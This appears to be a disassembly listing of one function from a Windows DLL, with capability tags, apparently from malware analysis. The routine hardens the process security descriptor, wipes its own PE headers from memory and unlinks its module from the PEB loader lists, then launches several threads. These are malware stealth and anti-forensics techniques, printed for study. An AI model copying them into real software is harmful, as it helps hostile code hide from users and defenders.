Function at 0x1000a700
Capabilities:
Access peb ldr_data
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x21c
mov eax, dword [0x1002d33c]
xor eax, ebp
mov dword [ebp - 4], eax
sub dword [ebp + 0xc], 1
push edi
mov edi, dword [ebp + 8]
mov dword [ebp - 0x21c], edi
jne 0x1000aa9c
push ebx
push esi
push edi
call dword [sym.imp.KERNEL32.dll_DisableThreadLibraryCalls]
mov dword [ebp - 0x214], 0
mov word [ebp - 0x210], pe_nt_image_headers32
mov dword [ebp - 0x208], 0
mov dword [ebp - 0x218], 0
mov dword [ebp - 0x20c], 0
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov ebx, eax
lea eax, [ebp - 0x208]
push eax
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 1
lea eax, [ebp - 0x214]
push eax
call dword [sym.imp.ADVAPI32.dll_AllocateAndInitializeSid]
test eax, eax
je 0x1000a851
lea eax, [ebp - 0x20c]
push eax
push 8
push ebx
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x1000a851
lea eax, [ebp - 0x218]
push eax
push 0
push 0
push 1
push dword [ebp - 0x20c]
call dword [sym.imp.ADVAPI32.dll_GetTokenInformation]
mov eax, dword [ebp - 0x218]
cmp eax, 0x400
ja 0x1000a851
push eax
push 0x40
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov esi, eax
test esi, esi
je 0x1000a851
lea eax, [ebp - 0x218]
push eax
push dword [ebp - 0x218]
push esi
push 1
push dword [ebp - 0x20c]
call dword [sym.imp.ADVAPI32.dll_GetTokenInformation]
test eax, eax
je 0x1000a851
push 2
push 0x200
lea eax, [ebp - 0x204]
push eax
call dword [sym.imp.ADVAPI32.dll_InitializeAcl]
test eax, eax
je 0x1000a851
push dword [esi]
lea eax, [ebp - 0x204]
push 0x1fffff
push 2
push eax
call dword [sym.imp.ADVAPI32.dll_AddAccessAllowedAce]
test eax, eax
je 0x1000a851
push 0
lea eax, [ebp - 0x204]
push eax
push 0
push 0
push 0x80000004
push 6
push ebx
call dword [sym.imp.ADVAPI32.dll_SetSecurityInfo]
mov eax, dword [ebp - 0x20c]
mov ebx, dword [sym.imp.KERNEL32.dll_CloseHandle]
test eax, eax
je 0x1000a864
push eax
call ebx
mov eax, dword [ebp - 0x208]
test eax, eax
je 0x1000a875
push eax
call dword [sym.imp.ADVAPI32.dll_FreeSid]
test edi, edi
je 0x1000a918
mov esi, dword [edi + 0x3c]
lea eax, [ebp - 0x20c]
mov ebx, dword [sym.imp.KERNEL32.dll_VirtualProtect]
add esi, edi
push eax
push 4
push 0x40
push edi
call ebx
test eax, eax
je 0x1000a8a7
push 0x40
push 0
push edi
call fcn.1000d420
add esp, 0xc
test esi, esi
je 0x1000a8d0
lea eax, [ebp - 0x20c]
push eax
push 4
push 0xf8
push esi
call ebx
test eax, eax
je 0x1000a8d0
push 0xf8
push 0
push esi
call fcn.1000d420
add esp, 0xc
mov eax, dword [edi + 0x3c]
cmp dword [eax + edi], 0x4550
jne 0x1000a912
movzx eax, word [eax + edi + 0x14]
test ax, ax
je 0x1000a912
mov esi, eax
lea eax, [ebp - 0x208]
push eax
push 4
push esi
push edi
call ebx
push esi
push 0
push edi
call fcn.1000d420
add esp, 0xc
lea eax, [ebp - 0x208]
push eax
push dword [ebp - 0x208]
push esi
push edi
call ebx
mov ebx, dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword fs:[0x18]
mov eax, dword [eax + 0x30]
mov eax, dword [eax + 0xc]
mov dword [ebp - 0x208], eax
mov eax, dword [ebp - 0x208]
mov edx, dword [eax + 0xc]
mov eax, dword [edx + 0x18]
test eax, eax
je 0x1000a94d
nop word [eax + eax]
cmp eax, edi
je 0x1000a94d
mov edx, dword [edx]
mov eax, dword [edx + 0x18]
test eax, eax
jne 0x1000a940
cmp dword [edx + 0x18], 0
je 0x1000a9a7
mov ecx, dword [edx + 4]
mov eax, dword [edx]
mov dword [ecx], eax
mov ecx, dword [edx]
mov eax, dword [edx + 4]
mov dword [ecx + 4], eax
mov ecx, dword [edx + 0xc]
mov eax, dword [edx + 8]
mov dword [ecx], eax
mov ecx, dword [edx + 8]
mov eax, dword [edx + 0xc]
mov dword [ecx + 4], eax
mov ecx, dword [edx + 0x14]
mov eax, dword [edx + 0x10]
mov dword [ecx], eax
mov ecx, dword [edx + 0x10]
mov eax, dword [edx + 0x14]
mov dword [ecx + 4], eax
mov ecx, dword [edx + 0x40]
mov eax, dword [edx + 0x3c]
mov dword [ecx], eax
mov ecx, dword [edx + 0x3c]
mov eax, dword [edx + 0x40]
mov dword [ecx + 4], eax
movzx eax, word [edx + 0x24]
push eax
push 0
push dword [edx + 0x28]
call fcn.1000d420
add esp, 0xc
push 0x1002e258
call fcn.10003920
add esp, 4
cmp eax, 1
jne 0x1000a9c7
cmp dword [0x1002e25c], 6
jne 0x1000a9c7
mov byte [0x1002e1d3], al
push 0x1002e258
call fcn.10003920
add esp, 4
cmp eax, 1
jne 0x1000a9f3
cmp dword [0x1002e25c], 0xa
jne 0x1000a9f3
cmp dword [0x1002e264], 0x55f0
jae 0x1000a9f3
mov byte [0x1002e254], al
push 0x1002e258
call fcn.10003920
add esp, 4
cmp eax, 1
jne 0x1000aa1f
cmp dword [0x1002e25c], 0xa
jne 0x1000aa1f
cmp dword [0x1002e264], 0x55f0
jb 0x1000aa1f
mov byte [0x1002e255], al
lea eax, [ebp - 0x21c]
push eax
push 0x100036e0
call fcn.10005140
mov dword [0x1002e190], eax
lea eax, [ebp - 0x21c]
push eax
push 0x10006160
call fcn.10005140
mov dword [0x1002e194], eax
lea eax, [ebp - 0x21c]
push eax
push 0x1000a080
call fcn.10005140
mov dword [0x1002e1a8], eax
lea eax, [ebp - 0x21c]
push eax
push 0x10009f40
call fcn.10005140
add esp, 0x20
mov dword [0x1002e1ac], eax
push dword [0x1002e190]
call ebx
push dword [0x1002e194]
call ebx
push dword [0x1002e1a8]
call ebx
push dword [0x1002e1ac]
call ebx
pop esi
pop ebx
mov ecx, dword [ebp - 4]
mov eax, 1
xor ecx, ebp
pop edi
call fcn.1000b852
mov esp, ebp
pop ebp
ret 0xc